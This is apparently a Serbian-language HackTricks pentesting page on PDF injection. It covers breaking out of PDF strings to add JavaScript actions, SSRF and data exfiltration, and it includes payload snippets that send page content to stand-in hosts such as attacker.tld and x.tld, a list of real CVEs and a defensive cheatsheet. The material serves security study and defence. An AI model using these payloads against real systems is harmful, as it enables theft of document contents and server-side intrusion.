# PDF Injection {{#include ../../banners/hacktricks-training.md}} **Ako se vaš unos odražava unutar PDF datoteke, možete pokušati da injektujete PDF podatke kako biste izvršili JavaScript, izvršili SSRF ili ukrali sadržaj PDF-a.** PDF sintaksa je izuzetno permisivna – ako možete da izađete iz stringa ili rečnika koji ugrađuje vaš unos, možete dodati potpuno nove objekte (ili nove ključeve u istom objektu) koje Acrobat/Chrome rado obrađuje. Od 2024. godine, talas izveštaja o greškama je pokazao da *jedna neizbegnuta zagrada ili obrnutu kosu crtu je dovoljno* za potpuno izvršavanje skripte. ## TL;DR – Moderni Tok Napada (2024) 1. Pronađite bilo koju vrednost koju kontroliše korisnik koja se završava unutar **(stringa sa zagradama)**, `/URI ( … )` ili `/JS ( … )` polja u generisanom PDF-u. 2. Injektujte `) ` (zatvarajući string) nakon čega sledi jedan od primitiva ispod i završite sa još jednom otvorenom zagradom kako biste zadržali sintaksu validnom. 3. Dostavite zlonamerni PDF žrtvi (ili backend servisu koji automatski prikazuje datoteku – odlično za slepe greške). 4. Vaš payload se izvršava u PDF pregledniku: * Chrome / Edge → PDFium Sandbox * Firefox → PDF.js (vidi CVE-2024-4367) * Acrobat → Potpuni JavaScript API (može eksfiltrirati proizvoljne sadržaje datoteka sa `this.getPageNthWord`) Primer (otmica linka za anotaciju): ```pdf (https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( ``` *Prva `)` zatvara originalni URI string, zatim dodajemo novi **Action** rečnik koji Acrobat izvršava kada korisnik klikne na link.* ## Korisne injekcione primitive | Cilj | Payload Snippet | Napomene | |------|-----------------|-------| | **JavaScript na otvaranju** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Izvršava se odmah kada se dokument otvori (radi u Acrobat-u, ne u Chrome-u). | | **JavaScript na linku** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Radi u PDFium-u i Acrobat-u ako kontrolišete `/Link` anotaciju. | | **Slepa ekfiltracija podataka** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Kombinujte sa `this.getPageNthWord` unutar JS da ukradete sadržaj. | | **Server-Side SSRF** | Isto kao gore, ali ciljate internu URL adresu – odlično kada PDF renderuje back-office usluge koje poštuju `/URI`. | | **Prelom linije za nove objekte** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Ako biblioteka dozvoljava umetanje karaktera za novi red, možete kreirati potpuno nove objekte. | ## Trik sa slepom enumeracijom Gareth Heyes (PortSwigger) je objavio jedan-liner koji enumeriše svaki objekat unutar nepoznatog dokumenta – koristan kada ne možete videti generisani PDF: ```pdf ) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( ``` Kod prolazi kroz Acrobat DOM i pravi izlazne zahteve za svaku par svojstvo/vrednost, dajući vam *JSON-ish* ispis datoteke. Pogledajte belešku “Portable Data **ex**Filtration” za punu tehniku. ## Real-World Bugs (2023-2025) * **CVE-2024-4367** – Arbitrarna JavaScript izvršenja u Firefox-ovom PDF.js pre 4.2.67 zaobišla je sandbox sa kreiranom `/JavaScript` akcijom. * **Bug bounty 2024-05** – Veliki fintech je dozvolio beleške o fakturama koje su dostavili kupci, a koje su završile u `/URI`; izveštaj je plaćen $10k nakon demonstracije SSRF na internom metapodatkovnom hostu koristeći `file:///` URI. * **CVE-2023-26155** – `node-qpdf` komanda-injekcija putem nefiltrirane PDF putanje pokazuje važnost eskapiranja obrnutih kosa crta i zagrada čak i *pre* PDF sloja. ## Defensive Cheatsheet 1. **Nikada ne spajajte sirovi korisnički unos** unutar `(`…`)` stringova ili imena. Eskapirajte `\`, `(`, `)` kako zahteva §7.3 PDF specifikacije ili koristite heksadecimalne stringove `<...>`. 2. Ako pravite linkove, preferirajte `/URI (https://…)` koje ste *potpuno* URL-enkodirali; blokirajte `javascript:` sheme u klijentskim preglednicima. 3. Uklonite ili validirajte `/OpenAction`, `/AA` (dodatne akcije), `/Launch`, `/SubmitForm` i `/ImportData` rečnike prilikom post-procesiranja PDF-ova. 4. Na serverskoj strani, renderujte nepouzdane PDF-ove sa *headless konvertorom* (npr. qpdf –decrypt –linearize) koji uklanja JavaScript i spoljne akcije. 5. Održavajte PDF preglednike ažuriranim; PDF.js < 4.2.67 i Acrobat Reader pre jula 2024. zakrpe omogućavaju trivijalno izvršavanje koda. ## References * Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (ažurirano maj 2024). * Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (apr 2024). {{#include ../../banners/hacktricks-training.md}}